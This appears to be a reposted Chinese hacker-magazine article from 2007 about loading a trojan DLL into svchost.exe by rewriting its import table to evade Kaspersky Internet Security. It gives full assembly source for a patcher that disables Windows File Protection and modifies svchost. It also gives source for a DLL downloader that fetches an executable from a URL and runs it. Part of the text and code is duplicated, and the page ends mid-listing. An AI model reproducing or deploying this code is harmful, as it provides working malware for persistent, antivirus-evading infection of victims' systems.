修改引入表打造穿透KIS6的下载者(转)
生活随笔
收集整理的這篇文章主要介紹了
修改引入表打造穿透KIS6的下载者(转)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
文章作者:gyzy [E.S.T](www.gyzy.org)
信息來源:邪惡八進制信息安全團隊(www.eviloctal.com)
本文已經發表在《黑客防線》2007年2月刊。作者及《黑客防線》保留版權,轉載請注明原始出處。
適合讀者:木馬愛好者
前置知識:匯編語言基礎,PE結構基礎
文/圖? 孤煙逐云(gyzy)【江蘇大學信息安全系 & 邪惡八進制信息安全團隊】
? ? 今年四月份的黑防有一篇文章《把任意可執行文件作為木馬載體》,文中介紹了通過給可執行文件添加一個新節并修改程序入口點的方法來加載我們的特洛伊DLL,此方法具有明顯的病毒行為特征,卡巴會將其識別為新的Win32病毒,據我的理解,凡是入口點不是指向代碼節的它都會報有毒.KIS是防火墻與殺毒軟件等傳統安全產品的超集,是行為加特征碼來防范惡意軟件,所以以往普遍使用的諸如:CreateRemoteThread、SetThreadContext、SetWindowHook等等以及通過Appinit_Dlls等注冊表鍵值來進行代碼注入的行為都會被KIS所攔截.而且可信進程的可疑網絡行為也會被警告,如:IE瀏覽器訪問一些非Web端口.Windows 系統服務分為獨立進程和共享進程兩種,在Windows NT時只有服務器管理器SCM(Services.exe)有多個共享服務,隨著系統內置服務的增加,從Windows 2000開始微軟又把很多服務做成共享方式,由svchost.exe啟動。svchost作為NT平臺網絡服務的載體,是唯一一個在kIS下擁有完全訪問網絡權限的程序,假如能讓它加載我們的DLL,那么就可以輕松穿透KIS這堵鐵墻.修改svchost的引入表就能達到這個目的,前段時間的一個后門"黑客之門"就是通過這種方式自啟動的,修改EXE文件的引入表需要讀者對PE文件結構有一定的了解,何為引入表呢?每個PE文件都有引入表,svchost的引入表如圖1:
圖1
每個引入的DLL都會用一個IMAGE_IMPORT_DESCRIPTOR表示,該結構定義如下:
IMAGE_IMPORT_DESCRIPTOR STRUCT
? union
? ? Characteristics dd ?
? ? OriginalFirstThunk dd ?
? ends
? TimeDateStamp dd ?
? ForwarderChain dd ?
? Name1 dd ?
? FirstThunk dd ?
IMAGE_IMPORT_DESCRIPTOR ENDS
對照著圖應該很容易明白,修改后的引入表如圖2:
這樣,系統重啟后svchost就會默認加載我們的sec.dll,于是強大的卡巴就倒在了腳下。
? ? 其實,像“黑客之門”一樣修改引入表實現自啟動非常簡單,方法有兩種,一種是利用微軟提供的Detour庫實現,另外一種就是自己實現,我比較推薦第一種,但是抱著學習的目的我們還是得練練手,代碼我已經用純ASM實現了一個簡單的下載者,僅供各位參考,概括的說一下實現過程:
1.定位目標原引入表,將其讀出
2.增加一個新節
3.將被我們修改過的引入表寫入新節
4.將目標的引入表地址指向新節
這有個問題需要澄清一下,增加一個新節會使目標的文件大小改變,要文件大小不變也可以,只要找到足夠大的空隙,然后寫入新引入表即可,我下面的代碼以XP下的svchost作為例子,所以無法插入空隙,修改使文件大小不改變的就留給各位讀者當個作業吧。
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;include
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include? ? windows.inc
include? ? kernel32.inc
includelib kernel32.lib
include? ? advapi32.inc
includelib? advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;數據段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
dwWriten? dd 0
zero? ? ? ? ? dd 0
dllname? ? ? db 'sec.dll',0
funpara? ? db 0,0,'SecConfig',0
PE_Header? ? ? ? IMAGE_NT_HEADERS? ? <0>
My_Section? ? ? IMAGE_SECTION_HEADER? ? <>
My_Dll? ? ? ? ? ? MAGE_IMPORT_DESCRIPTOR <>
My_DllName? ? ? ? IMAGE_IMPORT_BY_NAME? ? <>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
Head_Len? ? ? ? equ? ? sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER
;宏
CTEXT? ? MACRO y:VARARG
? ? LOCAL sym
? ? CONST segment
? ? ifidni <y>,<>
? ? ? ? sym db 0? ? ? ?
? ? else? ? ? ? ? ?
? ? ? ? sym db y,0
? ? endif
? ? CONST ends
? ? exitm <offset sym>
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
include? ? disablewfp.asm
start:
.code
? ? call _Sfcoff? ? ;關閉文件保護
? ? ? call CreateDll
? ? ? call SetFile
? ? ? call Modimport ;改寫PE文件引入表
exit:
? ? ? ? ? invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;對目標文件進行更名
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SetFile proc
? ? ? ? local destpath[255]:BYTE
? ? ? ? local tmppath[255]:BYTE
? ? invoke RtlZeroMemory,addr destpath,255
? ? invoke RtlZeroMemory,addr tmppath,255
? ? invoke GetSystemDirectory,addr destpath,255
? ? invoke GetSystemDirectory,addr tmppath,255
? ? invoke lstrcat,addr destpath,CTEXT("\svchost.exe")
? ? invoke lstrcat,addr tmppath,CTEXT("\suchost.exe")
? ?
? ? invoke MoveFile,addr destpath,addr tmppath
? ? invoke CopyFile,addr tmppath,addr destpath,FALSE
? ? ret
SetFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;RVA轉換成磁盤文件中的偏移
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
RVAToOffset PROC uses edi esi edx ecx pFileMap:DWORD,RVA:DWORD
? mov esi,pFileMap
? assume esi:ptr IMAGE_DOS_HEADER
? add esi,[esi].e_lfanew
? assume esi:ptr IMAGE_NT_HEADERS
? mov edi,RVA ; edi == RVA
? mov edx,esi
? add edx,sizeof IMAGE_NT_HEADERS
? mov cx,[esi].FileHeader.NumberOfSections
? movzx ecx,cx
? assume edx:ptr IMAGE_SECTION_HEADER
? .while ecx>0 ; check all sections
? ? .if edi>=[edx].VirtualAddress
? ? ? mov eax,[edx].VirtualAddress
? ? ? add eax,[edx].SizeOfRawData
? ? ? .if edi<eax ; The address is in this section
? ? ? ? mov eax,[edx].VirtualAddress
? ? ? ? sub edi,eax
? ? ? ? mov eax,[edx].PointerToRawData
? ? ? ? add eax,edi ; eax == file offset
? ? ? ? ret
? ? ? .endif
? ? .endif
? ? add edx,sizeof IMAGE_SECTION_HEADER
? ? dec ecx
? .endw
? assume edx:nothing
? assume esi:nothing
? mov eax,edi
? ret
RVAToOffset endp
Modimport proc
? ? ? ? local szpath[255]:BYTE
? ? ? ? LOCAL hFile: HANDLE
? ? ? ? LOCAL dwPE_Header_OffSet: DWORD
? ? ? ? LOCAL dwFileReadWritten: DWORD
? ? ? ? LOCAL dwMySectionOffSet: DWORD
? ? ? ? LOCAL dwLastSection_SizeOfRawData: DWORD
? ? ? ? LOCAL dwLastSection_PointerToRawData: DWORD
? ? ? ? LOCAL hMapping: DWORD
? ? ? ? LOCAL pMapping: DWORD
? ? ? ? LOCAL oImport[520]:BYTE
? ? ? ? LOCAL oImportlen
? ? ? ? LOCAL Chrarctics
? ? ? ? LOCAL dllnamelen:DWORD
? ? ? ? LOCAL funparalen:DWORD
? ? ? ? LOCAL irva:DWORD
? ? invoke RtlZeroMemory,addr oImport,520
? ? invoke RtlZeroMemory,addr szpath,255
? ? nvoke lstrcat,addr szpath,CTEXT("test.exe")
? ? ;打開文件:
? ? invoke CreateFile, addr szpath, GENERIC_READ or GENERIC_WRITE,\
? ? ? ? ? ? FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
? ? .if eax == INVALID_HANDLE_VALUE
? ? ? ? jmp Err_CreateFile_Exit
? ? .endif
? ? mov hFile, eax
? ?
? ? ;創建內存映射文件
? ? ? ? invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
? ? .if eax!=NULL
? ? ? ? mov hMapping, eax
? ? .endif
? ? invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
? ? .if eax!=NULL
? ? ? mov pMapping,eax
? ? .endif
? ? ;****************************************
? ? ;讀取PE文件頭
? ? ;****************************************
? ? invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGIN
? ? invoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULL
? ? invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
? ? invoke ReadFile, hFile, addr PE_Header, Head_Len, addr dwFileReadWritten, NULL
? ?
? ? ;****************************************
? ? ;PE文件有效性檢查
? ? ;****************************************
? ? .if [PE_Header.Signature] != IMAGE_NT_SIGNATURE
? ? ? ? jmp Exit
? ? .endif
? ? ? ?
? ? ;****************************************
? ? ;判斷是否有足夠空間存儲新節:
? ? ;****************************************
? ? movzx eax, [PE_Header.FileHeader.NumberOfSections]? ? ;得到添加新節前有多少個節:
? ? mov ecx, 28h? ? ;28h = sizeof IMAGE_SECTION_HEADER
? ? mul ecx? ? ? ? ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
? ? add eax, dwPE_Header_OffSet? ? ;eax = eax + PE文件頭偏移
? ? add eax, 18h? ? ;18h = sizeof IMAGE_FILE_HEADER
? ? movzx ecx, [PE_Header.FileHeader.SizeOfOptionalHeader]
? ? add eax, ecx? ? ;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
? ? add eax, 28h? ? ;添加一個新節的大小
? ? .if eax > [PE_Header.OptionalHeader.SizeOfHeaders]
? ? ? ? jmp Exit
? ? .endif
? ? ;**************************************************
? ? ;計算新節的偏移地址:
? ? ;**************************************************
? ? movzx eax, [PE_Header.FileHeader.NumberOfSections]
? ? mov ecx, 28h
? ? mul ecx? ? ? ? ? ? ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
? ? add eax, 4h? ? ? ? ;4h = sizeof "PE\0\0"
? ? add eax, dwPE_Header_OffSet
? ? add eax, sizeof IMAGE_FILE_HEADER
? ? add eax, sizeof IMAGE_OPTIONAL_HEADER
? ? mov dwMySectionOffSet, eax? ? ;現在得到了我們的新節的偏移地址
? ? push [PE_Header.OptionalHeader.SizeOfImage]
? ? pop [My_Section.VirtualAddress]
? ?
? ?
? ? ;****************************************
? ? ;重構引入表,在文件的最后寫入我們的新節:
? ? ;****************************************
? ? ;讀取原始引入表數據,讀取正確的不帶0的引入表
? ? mov edi,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress]
? ? invoke RVAToOffset,pMapping,edi
? ? mov edi,eax
? ? invoke SetFilePointer, hFile, edi, 0, FILE_BEGIN
? ? ;不讀空的結束符
? ? mov oImportlen,0
? ? lea edi,oImport
calclen:
? ? invoke ReadFile, hFile, edi , 4, addr dwFileReadWritten, NULL
? ? mov ebx,[edi]
? ? test ebx,ebx
? ? jz calcover
? ? add edi,4
? ? add oImportlen,4
? ? jmp calclen
calcover:
? ? ;寫入dll名稱,定位到最后一節的raw offset處
? ? mov eax, dwMySectionOffSet
? ? sub eax, 18h
? ? invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
? ? invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
? ? invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL? ?
? ? mov ebx, dwLastSection_SizeOfRawData
? ? add ebx, dwLastSection_PointerToRawData
? ? invoke SetFilePointer, hFile, ebx, 0, FILE_BEGIN
? ? push 0
? ? lea eax, dwFileReadWritten
? ? push eax
? ? mov eax,sizeof dllname
? ? mov dllnamelen,eax
? ? push eax ;[My_Section.SizeOfRawData]
? ? lea eax, dllname
? ? push eax
? ? push hFile
? ? call WriteFile
? ?
? ? ;寫入IMAGE_THUNK_DATA
? ? push 0
? ? lea eax, dwFileReadWritten
? ? push eax? ?
? ? mov eax,sizeof funpara
? ? ;add eax,sizeof funpara
? ? mov funparalen,eax
? ? push eax
? ? lea eax, funpara
? ? push eax
? ? push hFile
? ? call WriteFile
? ?
? ? ;寫入IMAGE_THUNK_DATA的RVA
? ? mov eax,[My_Section.VirtualAddress]
? ? add eax,dllnamelen
? ? mov irva,eax
? ? invoke WriteFile, hFile, addr irva, 4, addr dwFileReadWritten, NULL
? ? ;寫入一個空IMAGE_THUNK_DATA的RVA作為結尾
? ? invoke WriteFile, hFile, addr zero, 4, addr dwFileReadWritten, NULL
? ?
? ? ;寫入原引入表數據
? ? mov ecx,oImportlen
? ? invoke WriteFile, hFile, addr oImport, ecx, addr dwFileReadWritten, NULL? ?
? ?
? ? ;構造新引入的DLL的IMAGE_IMPORT_DESCRIPTOR
? ? mov eax,[My_Section.VirtualAddress]
? ? add eax,dllnamelen
? ? add eax,funparalen
? ? mov [My_Dll.OriginalFirstThunk],eax
? ? mov [My_Dll.TimeDateStamp],0FFFFFFFFh
? ? mov [My_Dll.ForwarderChain],0FFFFFFFFh
? ? mov ebx,[My_Section.VirtualAddress]
? ? mov [My_Dll.Name1],ebx
? ? mov [My_Dll.FirstThunk],eax
? ?
? ? ;寫入新引入的DLL的IMAGE_IMPORT_DESCRIPTOR
? ? invoke WriteFile, hFile, addr My_Dll, 20, addr dwFileReadWritten, NULL
? ?
? ? ;寫入以0結尾的空IMAGE_IMPORT_DESCRIPTOR
? ? ? ? push 20
? ? ? ? pop ecx
fillzero:
? ? ? ? push ecx
? ? ? ? invoke WriteFile, hFile, addr zero, 1, addr dwFileReadWritten, NULL
? ? ? ? pop ecx
? ? ? ? dec ecx
? ? ? ? test ecx,ecx
? ? ? ? jnz fillzero
? ? ;****************************************
? ? ;填充我們自己的節的信息:
? ? ;****************************************
? ? mov dword ptr [My_Section.Name1], "ler."
? ? mov dword ptr [My_Section.Name1]+4, "co"
? ? mov [My_Section.Misc.VirtualSize], 1000h
? ? push [PE_Header.OptionalHeader.SizeOfImage]
? ? pop [My_Section.VirtualAddress]
? ? mov eax, [My_Section.Misc.VirtualSize]
? ? mov eax,dllnamelen
? ? add eax,funparalen
? ? add eax,28
? ? add eax,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].isize]
? ? mov [My_Section.SizeOfRawData], eax? ;SizeOfRawData在EXE文件中是對齊到FileAlignMent的整數倍的值
? ? mov eax, dwMySectionOffSet
? ? sub eax, 18h? ? ;這個偏移是定位到最后一節的“SizeOfRawData”
? ? invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
? ? invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
? ? invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL
? ? ;每個節的 PointerToRawData 等于它的上一節的 SizeOfRawData + PointerToRawData:
? ? mov eax, dwLastSection_SizeOfRawData
? ? add eax, dwLastSection_PointerToRawData
? ? mov [My_Section.PointerToRawData], eax
? ? mov [My_Section.PointerToRelocations], 0h
? ? mov [My_Section.PointerToLinenumbers], 0h
? ? mov [My_Section.NumberOfRelocations], 0h
? ? mov [My_Section.NumberOfLinenumbers], 0h
? ? mov [My_Section.Characteristics], 0C0000040h? ? ;可讀可寫
? ? ;**************************************************
? ? ;重新寫入IMAGE_SECTION_HEADER:(包含了新節的信息)
? ? ;**************************************************
? ? invoke SetFilePointer, hFile, dwMySectionOffSet, 0, FILE_BEGIN
? ? invoke WriteFile, hFile, addr My_Section, sizeof IMAGE_SECTION_HEADER, addr dwFileReadWritten, NULL
? ? ;**************************************************
? ? ;改寫IMAGE_NT_HEADERS
? ? ;(需要改寫 SizeOfImage)
? ? ;**************************************************
? ? inc [PE_Header.FileHeader.NumberOfSections]
? ? mov eax, [My_Section.VirtualAddress]
? ? add eax, dllnamelen
? ? add eax, funparalen
? ? add eax, 8
? ? mov [PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress],eax
? ? mov eax, [My_Section.Misc.VirtualSize]
? ? mov ecx, [PE_Header.OptionalHeader.SectionAlignment]
? ? cdq
? ? div ecx
? ? inc eax
? ? mul ecx
? ? add eax, [PE_Header.OptionalHeader.SizeOfImage]
? ? mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].VirtualAddress], 0
? ? mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].isize], 0
? ? mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].VirtualAddress], 0
? ? mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].isize], 0
? ? sub eax,1000h
? ? mov [PE_Header.OptionalHeader.SizeOfImage], eax? ? ;SizeOfImage是一個對齊到SectionAlignment的整數倍的值
? ? invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
? ? invoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL
? ?
? ? ;改寫.text屬性為E00000020h,默認.text為第一個節
? ? mov eax, dwPE_Header_OffSet
? ? add eax, sizeof IMAGE_FILE_HEADER
? ? add eax, sizeof IMAGE_OPTIONAL_HEADER
? ? add eax,40;定位到Characteristics 0E0000020h
? ? invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
? ? push NULL
? ? lea eax, dwFileReadWritten
? ? push eax
? ? push 4
? ? mov Chrarctics,0E0000020h
? ? lea eax,Chrarctics
? ? push eax
? ? push hFile
? ? call WriteFile
? ?
Exit:
? ? ;關閉文件:
? ? invoke UnmapViewOfFile, pMapping
? ? invoke CloseHandle,hMapping
? ? invoke CloseHandle, hFile? ?
Err_CreateFile_Exit:
? ? ret
Modimport endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;釋放DLL至系統目錄
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CreateDll proc
? ? local hResInfo:HRSRC
? ? local hResData:HGLOBAL
? ? local dwSize:DWORD
? ? local dwWritten:DWORD
? ? local hFile:HANDLE
? ? local hRec:HANDLE
? ? local dllpath[255]:BYTE
? ? ? ? invoke RtlZeroMemory,addr dllpath,255
? ? ? ? invoke GetSystemDirectory,addr dllpath,255
? ? ? ? invoke lstrcat,addr dllpath,CTEXT("\sec.dll")
? ? ? ? invoke FindResource,0,1001,CTEXT("DLL")
? ? ? ? mov hResInfo,eax
? ? ? ? invoke SizeofResource,0,hResInfo
? ? ? ? mov dwSize,eax
? ? ? ? invoke LoadResource,0,hResInfo
? ? ? ? mov hResData,eax
? ? ? ? invoke CreateFile,addr dllpath,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL
? ? ? ? mov hFile,eax
? ? ? ? invoke LockResource,hResData
? ? ? ? mov hRec,eax
? ? ? ? invoke WriteFile,hFile,hRec,dwSize,addr dwWritten,0
? ? ? ? invoke CloseHandle,hFile
? ? ? ? ret
CreateDll endp
end start
DLL實現下載并執行的功能,代碼如下:
.386?
.model? flat,? stdcall?
option? casemap? :none? ? ? ;? case? sensitive?
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>?
include? windows.inc
include? kernel32.inc
includelib kernel32.lib
down proto
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
return? MACRO? arg?
? ? ? ? ? ? mov? eax,? arg?
? ? ? ? ? ? ret?
ENDM
;宏
CTEXT? ? MACRO y:VARARG
? ? LOCAL sym
? ? CONST segment
? ? ifidni <y>,<>
? ? ? ? sym db 0? ? ? ?
? ? else? ? ? ? ? ?
? ? ? ? sym db y,0
? ? endif
? ? CONST ends
? ? exitm <offset sym>
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
szURL? db 'http://127.0.0.1/gyzy.exe',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
szPath db 'c:\a.exe',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
LibMain? proc? hInstDLL:DWORD,? reason:DWORD,? unused:DWORD?
? ? ? ? ? ? ? ? .if? reason? ==? DLL_PROCESS_ATTACH?
? ? ? ? ? ? ? ? ? ? ? ? invoke CreateThread,0,0,offset down,0,0,0
? ? ? ? ? ? ? ? ? ? ? ? return TRUE
? ? ? ? ? ? ? .elseif? reason? ==? DLL_PROCESS_DETACH
? ? ? ? ? ? ? .elseif? reason? ==? DLL_THREAD_ATTACH
? ? ? ? ? ? ? .elseif? reason? ==? DLL_THREAD_DETACH
? ? ? ? ? ? ? .endif
? ? ? ? ? ? ? ret
LibMain? Endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;下載者功能執行模塊
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
down proc
? ? ? ? ? ? local downfunc:DWORD
? ? ? ?
? ? ? ? ? ? call loadlib
? ? ? ? ? ? lib db 'urlmon',0
loadlib:
? ? ? ? ? ? call LoadLibraryA
? ? ? ? ? ? call getfuncaddr
? ? ? ? ? ? func db 'URLDownloadToFileA',0
getfuncaddr:
? ? ? ? ? ? push eax
? ? ? ? ? ? call GetProcAddress
? ? ? ? ? ? mov? downfunc,eax
again:
? ? ? ? ? ? push 5000
? ? ? ? ? ? call Sleep
? ? ? ? ? ?
? ? ? ? ? ? push NULL
? ? ? ? ? ? push NULL
? ? ? ? ? ? push offset szPath
? ? ? ? ? ? push offset szURL
? ? ? ? ? ? push NULL
? ? ? ? ? ? call downfunc
? ? ? ? ? ?
? ? ? ? ? ? test eax,eax
? ? ? ? ? ? jnz again
? ? ? ? ? ? call exec
tExit:
? ? ? ? ? ? ret
down endp
exec proc
? ? ? ? ? ? invoke WinExec,offset szPath,1
? ? ? ? ? ? ret
exec endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;為引入表導出的函數
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SecConfig? proc
? ? ? ? ? ? xor eax,eax
? ? ? ret
SecConfig? endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
End? LibMain
其中我們的DLL必須導出一個函數,否則svchost會報找不到指定的要加載的DLL,測試的時候需要先停止windows系統文件保護,然后替換svchost.exe,重啟后就會發現我們的小馬已經成功下載東西,但是還有一些瑕疵有待改善,XP下默認有多個svchost,所以我們的DLL中的線程也運行了多次。卡巴大叔一點反應都沒有(除程序完整性檢測外其余均打開的情況下,默認的高級模式)如圖3:
圖3
? ? 代碼寫的比較匆忙,錯誤紕漏在所難免,權當拋磚引玉,有任何問題,歡迎和我交流:www.gyzy.org
(文中涉及程序或代碼已經收錄到雜志配套光盤“雜志相關”欄目。)
信息來源:邪惡八進制信息安全團隊(www.eviloctal.com)
本文已經發表在《黑客防線》2007年2月刊。作者及《黑客防線》保留版權,轉載請注明原始出處。
適合讀者:木馬愛好者
前置知識:匯編語言基礎,PE結構基礎
文/圖? 孤煙逐云(gyzy)【江蘇大學信息安全系 & 邪惡八進制信息安全團隊】
? ? 今年四月份的黑防有一篇文章《把任意可執行文件作為木馬載體》,文中介紹了通過給可執行文件添加一個新節并修改程序入口點的方法來加載我們的特洛伊DLL,此方法具有明顯的病毒行為特征,卡巴會將其識別為新的Win32病毒,據我的理解,凡是入口點不是指向代碼節的它都會報有毒.KIS是防火墻與殺毒軟件等傳統安全產品的超集,是行為加特征碼來防范惡意軟件,所以以往普遍使用的諸如:CreateRemoteThread、SetThreadContext、SetWindowHook等等以及通過Appinit_Dlls等注冊表鍵值來進行代碼注入的行為都會被KIS所攔截.而且可信進程的可疑網絡行為也會被警告,如:IE瀏覽器訪問一些非Web端口.Windows 系統服務分為獨立進程和共享進程兩種,在Windows NT時只有服務器管理器SCM(Services.exe)有多個共享服務,隨著系統內置服務的增加,從Windows 2000開始微軟又把很多服務做成共享方式,由svchost.exe啟動。svchost作為NT平臺網絡服務的載體,是唯一一個在kIS下擁有完全訪問網絡權限的程序,假如能讓它加載我們的DLL,那么就可以輕松穿透KIS這堵鐵墻.修改svchost的引入表就能達到這個目的,前段時間的一個后門"黑客之門"就是通過這種方式自啟動的,修改EXE文件的引入表需要讀者對PE文件結構有一定的了解,何為引入表呢?每個PE文件都有引入表,svchost的引入表如圖1:
圖1
每個引入的DLL都會用一個IMAGE_IMPORT_DESCRIPTOR表示,該結構定義如下:
IMAGE_IMPORT_DESCRIPTOR STRUCT
? union
? ? Characteristics dd ?
? ? OriginalFirstThunk dd ?
? ends
? TimeDateStamp dd ?
? ForwarderChain dd ?
? Name1 dd ?
? FirstThunk dd ?
IMAGE_IMPORT_DESCRIPTOR ENDS
對照著圖應該很容易明白,修改后的引入表如圖2:
這樣,系統重啟后svchost就會默認加載我們的sec.dll,于是強大的卡巴就倒在了腳下。
? ? 其實,像“黑客之門”一樣修改引入表實現自啟動非常簡單,方法有兩種,一種是利用微軟提供的Detour庫實現,另外一種就是自己實現,我比較推薦第一種,但是抱著學習的目的我們還是得練練手,代碼我已經用純ASM實現了一個簡單的下載者,僅供各位參考,概括的說一下實現過程:
1.定位目標原引入表,將其讀出
2.增加一個新節
3.將被我們修改過的引入表寫入新節
4.將目標的引入表地址指向新節
這有個問題需要澄清一下,增加一個新節會使目標的文件大小改變,要文件大小不變也可以,只要找到足夠大的空隙,然后寫入新引入表即可,我下面的代碼以XP下的svchost作為例子,所以無法插入空隙,修改使文件大小不改變的就留給各位讀者當個作業吧。
Copy code
.386.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;include
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include? ? windows.inc
include? ? kernel32.inc
includelib kernel32.lib
include? ? advapi32.inc
includelib? advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;數據段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
dwWriten? dd 0
zero? ? ? ? ? dd 0
dllname? ? ? db 'sec.dll',0
funpara? ? db 0,0,'SecConfig',0
PE_Header? ? ? ? IMAGE_NT_HEADERS? ? <0>
My_Section? ? ? IMAGE_SECTION_HEADER? ? <>
My_Dll? ? ? ? ? ? MAGE_IMPORT_DESCRIPTOR <>
My_DllName? ? ? ? IMAGE_IMPORT_BY_NAME? ? <>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
Head_Len? ? ? ? equ? ? sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER
;宏
CTEXT? ? MACRO y:VARARG
? ? LOCAL sym
? ? CONST segment
? ? ifidni <y>,<>
? ? ? ? sym db 0? ? ? ?
? ? else? ? ? ? ? ?
? ? ? ? sym db y,0
? ? endif
? ? CONST ends
? ? exitm <offset sym>
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
include? ? disablewfp.asm
start:
.code
? ? call _Sfcoff? ? ;關閉文件保護
? ? ? call CreateDll
? ? ? call SetFile
? ? ? call Modimport ;改寫PE文件引入表
exit:
? ? ? ? ? invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;對目標文件進行更名
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SetFile proc
? ? ? ? local destpath[255]:BYTE
? ? ? ? local tmppath[255]:BYTE
? ? invoke RtlZeroMemory,addr destpath,255
? ? invoke RtlZeroMemory,addr tmppath,255
? ? invoke GetSystemDirectory,addr destpath,255
? ? invoke GetSystemDirectory,addr tmppath,255
? ? invoke lstrcat,addr destpath,CTEXT("\svchost.exe")
? ? invoke lstrcat,addr tmppath,CTEXT("\suchost.exe")
? ?
? ? invoke MoveFile,addr destpath,addr tmppath
? ? invoke CopyFile,addr tmppath,addr destpath,FALSE
? ? ret
SetFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;RVA轉換成磁盤文件中的偏移
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
RVAToOffset PROC uses edi esi edx ecx pFileMap:DWORD,RVA:DWORD
? mov esi,pFileMap
? assume esi:ptr IMAGE_DOS_HEADER
? add esi,[esi].e_lfanew
? assume esi:ptr IMAGE_NT_HEADERS
? mov edi,RVA ; edi == RVA
? mov edx,esi
? add edx,sizeof IMAGE_NT_HEADERS
? mov cx,[esi].FileHeader.NumberOfSections
? movzx ecx,cx
? assume edx:ptr IMAGE_SECTION_HEADER
? .while ecx>0 ; check all sections
? ? .if edi>=[edx].VirtualAddress
? ? ? mov eax,[edx].VirtualAddress
? ? ? add eax,[edx].SizeOfRawData
? ? ? .if edi<eax ; The address is in this section
? ? ? ? mov eax,[edx].VirtualAddress
? ? ? ? sub edi,eax
? ? ? ? mov eax,[edx].PointerToRawData
? ? ? ? add eax,edi ; eax == file offset
? ? ? ? ret
? ? ? .endif
? ? .endif
? ? add edx,sizeof IMAGE_SECTION_HEADER
? ? dec ecx
? .endw
? assume edx:nothing
? assume esi:nothing
? mov eax,edi
? ret
RVAToOffset endp
Modimport proc
? ? ? ? local szpath[255]:BYTE
? ? ? ? LOCAL hFile: HANDLE
? ? ? ? LOCAL dwPE_Header_OffSet: DWORD
? ? ? ? LOCAL dwFileReadWritten: DWORD
? ? ? ? LOCAL dwMySectionOffSet: DWORD
? ? ? ? LOCAL dwLastSection_SizeOfRawData: DWORD
? ? ? ? LOCAL dwLastSection_PointerToRawData: DWORD
